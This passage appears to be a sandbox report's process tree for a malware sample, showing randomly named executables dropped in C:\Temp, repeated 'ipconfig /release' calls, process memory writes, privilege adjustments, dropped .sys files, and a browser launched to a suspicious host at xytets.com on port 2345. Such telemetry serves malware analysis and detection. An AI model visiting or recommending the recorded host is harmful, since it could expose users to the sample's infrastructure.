      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2424
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nifdxnhfdx.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3080
  - - C:\Temp\nifdxnhfdx.exe
      C:\Temp\nifdxnhfdx.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3572
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4776
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4536
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nifdxnhfdx.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4104
  - - C:\Temp\i_nifdxnhfdx.exe
      C:\Temp\i_nifdxnhfdx.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2060
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xvspnhfzxs.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4248
  - - C:\Temp\xvspnhfzxs.exe
      C:\Temp\xvspnhfzxs.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2408
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3144
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5152
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xvspnhfzxs.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1504
  - - C:\Temp\i_xvspnhfzxs.exe
      C:\Temp\i_xvspnhfzxs.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4532
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zxrpkecwup.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5508
  - - C:\Temp\zxrpkecwup.exe
      C:\Temp\zxrpkecwup.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5904
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1172
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4696
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zxrpkecwup.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5704
  - - C:\Temp\i_zxrpkecwup.exe
      C:\Temp\i_zxrpkecwup.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:832
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rmjebzurmj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5724
  - - C:\Temp\rmjebzurmj.exe
      C:\Temp\rmjebzurmj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3280
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3396
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2692
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rmjebzurmj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1932
  - - C:\Temp\i_rmjebzurmj.exe
      C:\Temp\i_rmjebzurmj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2988
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ezwjgbywro.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4100
  - - C:\Temp\ezwjgbywro.exe
      C:\Temp\ezwjgbywro.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4488
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4544
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4356
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ezwjgbywro.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1476
  - - C:\Temp\i_ezwjgbywro.exe
      C:\Temp\i_ezwjgbywro.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1588
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qomjhbywtr.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4864
  - - C:\Temp\qomjhbywtr.exe
      C:\Temp\qomjhbywtr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4536
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4452
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6108
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qomjhbywtr.exe ups_ins
    3⤵
    PID:5948
  - - C:\Temp\i_qomjhbywtr.exe
      C:\Temp\i_qomjhbywtr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5400
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tqljdytqli.exe ups_run
    3⤵
    PID:1876
  - - C:\Temp\tqljdytqli.exe
      C:\Temp\tqljdytqli.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2988
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4752
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3272
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tqljdytqli.exe ups_ins
    3⤵
    PID:4956
  - - C:\Temp\i_tqljdytqli.exe
      C:\Temp\i_tqljdytqli.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5676
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dbysqkifdb.exe ups_run
    3⤵
    PID:5416
  - - C:\Temp\dbysqkifdb.exe
      C:\Temp\dbysqkifdb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4148
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4052
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5068
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dbysqkifdb.exe ups_ins
    3⤵
    PID:5048
  - - C:\Temp\i_dbysqkifdb.exe
      C:\Temp\i_dbysqkifdb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2860
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtnaxsqkic.exe ups_run
    3⤵
    PID:580
  - - C:\Temp\vtnaxsqkic.exe
      C:\Temp\vtnaxsqkic.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2204
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4876
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4600
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtnaxsqkic.exe ups_ins
    3⤵
    PID:4084
  - - C:\Temp\i_vtnaxsqkic.exe
      C:\Temp\i_vtnaxsqkic.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1344
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hfdavsqnhf.exe ups_run
    3⤵
    PID:3720
  - - C:\Temp\hfdavsqnhf.exe
      C:\Temp\hfdavsqnhf.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1752
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2896
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4604
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hfdavsqnhf.exe ups_ins
    3⤵
    PID:5156
  - - C:\Temp\i_hfdavsqnhf.exe
      C:\Temp\i_hfdavsqnhf.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4656
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\upnhfcxvpn.exe ups_run
    3⤵
    PID:5668
  - - C:\Temp\upnhfcxvpn.exe
      C:\Temp\upnhfcxvpn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3164
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5768
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:300
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_upnhfcxvpn.exe ups_ins
    3⤵
    PID:804
  - - C:\Temp\i_upnhfcxvpn.exe
      C:\Temp\i_upnhfcxvpn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6024
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\eczurpmhez.exe ups_run
    3⤵
    PID:5816
  - - C:\Temp\eczurpmhez.exe
      C:\Temp\eczurpmhez.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2652
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4252
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3364
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_eczurpmhez.exe ups_ins
    3⤵
    PID:5568
  - - C:\Temp\i_eczurpmhez.exe
      C:\Temp\i_eczurpmhez.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4060
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wuomgeywro.exe ups_run
    3⤵
    PID:4792
  - - C:\Temp\wuomgeywro.exe
      C:\Temp\wuomgeywro.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5196
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3312
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1756
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wuomgeywro.exe ups_ins
    3⤵
    PID:4444
  - - C:\Temp\i_wuomgeywro.exe
      C:\Temp\i_wuomgeywro.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4700
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bwtromgebz.exe ups_run
    3⤵
    PID:4908
  - - C:\Temp\bwtromgebz.exe
      C:\Temp\bwtromgebz.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2824
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1692
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4656
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bwtromgebz.exe ups_ins
    3⤵
    PID:4276
  - - C:\Temp\i_bwtromgebz.exe
      C:\Temp\i_bwtromgebz.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2460
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffdb5a9c188,0x7ffdb5a9c194,0x7ffdb5a9c1a0
      4⤵
      PID:2156
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2092,i,6595118337926244284,1159454477385520419,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=2480 /prefetch:11
      4⤵
      System Time Discovery
      PID:3244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1928,i,14896053001066047274,2756047692091007632,262144 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:2
      4⤵
      PID:3304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2644,i,3317289007915314109,10901382472510468690,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=2788 /prefetch:13
      4⤵
      PID:3948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3588,i,13088334509653397103,17332269631238280538,2097152 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:1
      4⤵
      PID:2456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3592,i,7708323562300773603,11335121050309301231,2097152 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=3668 /prefetch:1
      4⤵
      PID:1216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4216,i,18200250877795258034,17642135377781461420,2097152 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:1
      4⤵
      PID:1000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4228,i,15546202055409835405,9239329047461008286,2097152 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=4724 /prefetch:9
      4⤵
      PID:4544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5328,i,2757446403494839188,16814717950577648224,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5296 /prefetch:14
      4⤵
      PID:4724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5492,i,3311112444603040075,8245861963432776233,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:14
      4⤵
      PID:3644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5500,i,1468805915747547541,14923850482392546910,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:14
      4⤵
      PID:5188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5908,i,8340795194402412182,12559506715884527846,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5924 /prefetch:14
      4⤵
      PID:1572
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5908,i,8340795194402412182,12559506715884527846,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5924 /prefetch:14
      4⤵
      PID:1180
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6332,i,18374336455352764327,6333836260451592881,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14
      4⤵
      PID:624
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6556,i,4482853731007262828,8021569797345734910,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:14
      4⤵
      PID:4148
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1416,i,11629034364380389376,6380532300934987686,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=1288 /prefetch:14
      4⤵
      PID:5692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1412,i,2905696954519641424,15475374375076149662,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5136 /prefetch:14
      4⤵
      PID:3332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1424,i,12922848504597198294,5920808623371152934,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5140 /prefetch:14
      4⤵
      PID:5180
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5668,i,7723629626140432264,4643603235446555282,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:14
      4⤵
      PID:5760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6088,i,312398705711589543,15122415383836299285,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=6644 /prefetch:14
      4⤵
      PID:3068
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5468,i,451983510795279437,12245235384870075285,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5448 /prefetch:14
      4⤵
      PID:3488
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5492,i,10498233307112635357,5012108289919687406,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:14
      4⤵
      PID:6120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,17742760918576542367,7587150106507388214,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:14
      4⤵
      PID:1264
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6240,i,5709104360105557080,15678554230695561186,262144 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:10
      4⤵
      PID:1412
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5744,i,2669170414475955529,7401252411359230874,524288 --field-trial-handle=2436,i,7759385638336670962,14858075752765522875,262144 --variations-seed-version --mojo-platform-channel-handle=5740 /prefetch:14
      4⤵
      PID:2892

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3384

C:\Temp\hczusmkecwuomhec.sys
C:\Temp\hczusmkecwuomhec.sys
1⤵
- Executes dropped EXE
PID:4788

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4216

C:\Temp\gezwuomgey.sys
C:\Temp\gezwuomgey.sys
1⤵
- Executes dropped EXE
PID:5212

C:\Temp\ztrljgbztr.sys
C:\Temp\ztrljgbztr.sys
1⤵
- Executes dropped EXE
PID:5404

C:\Temp\ytqoigaytq.sys
C:\Temp\ytqoigaytq.sys
1⤵
- Executes dropped EXE
PID:124

C:\Temp\gaysqlavtn.sys
C:\Temp\gaysqlavtn.sys
1⤵
- Executes dropped EXE
PID:3392

C:\Temp\nifaysqkig.sys
C:\Temp\nifaysqkig.sys
1⤵
- Executes dropped EXE
PID:4856

C:\Temp\cxusqkhfcx.sys
C:\Temp\cxusqkhfcx.sys
1⤵
- Executes dropped EXE
PID:5880

C:\Temp\xupmhecxup.sys
